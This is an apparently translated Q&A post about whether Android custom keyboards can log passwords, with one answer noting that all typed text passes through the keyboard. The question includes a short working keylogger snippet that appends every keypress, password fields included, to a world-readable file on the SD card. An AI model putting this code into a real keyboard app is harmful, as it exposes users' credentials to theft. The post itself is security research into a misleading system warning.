【问题标题】:Android Custom Keyboard Password LoggingAndroid 自定义键盘密码记录
【发布时间】:2023-04-01 08:08:02
【问题描述】:

我一直在对 Android 自定义键盘的安全漏洞进行一些研究,并注意到一些有趣的事情。当我在我的 Sharp Aquos Gingerbread 手机上安装键盘时,它告诉我它“可能能够收集您键入的所有文本,包括密码”。但是,在我运行 ICS 的三星 Galaxy Tab 2 上,它显示“除了密码”。

我决定对此进行测试,并修改了 SoftKeyboard Android SDK 示例以包含一个键盘记录器,写入 SD 卡以使其更容易从其他应用程序访问:

public void onKey(int primaryCode, int[] keyCodes) {
    String keypress = String.valueOf((char)primaryCode);
    Log.d("Key Pressed",keypress);
    try{
        String SDCARD = Environment.getExternalStorageDirectory().getAbsolutePath();
        String FILENAME = "keylogger.txt";

        File outfile = new File(SDCARD+File.separator+FILENAME);
        FileOutputStream fos = new FileOutputStream(outfile,true);
        fos.write(keypress.getBytes());
        fos.close();
    }catch(Exception e) {
        Log.d("EXCEPTION",e.getMessage());
    }

而且我能够记录文本,甚至在 HTML 密码字段中。

因此,我 Galaxy Tab 上的消息似乎不正确/具有误导性。

这是所有 ICS 设备上的相同消息,还是三星更改了库存 Android 版本中的消息?有人知道为什么在很容易登录时会显示“密码除外”吗?

【问题讨论】:

    标签: android security


    【解决方案1】:

    在 Galaxy Nexus 上,它显示“包括密码和信用卡号等个人数据”。您必须联系三星以获取真实信息,但除非他们不允许在密码字段上使用自定义键盘或类似的东西,否则您键入的所有内容都会在某个时候通过软件键盘进行,因此他们将能够记录下来。

    【讨论】:

      猜你喜欢
      • 2013-01-18
      • 1970-01-01
      • 1970-01-01
      • 2015-11-13
      • 2015-06-06
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多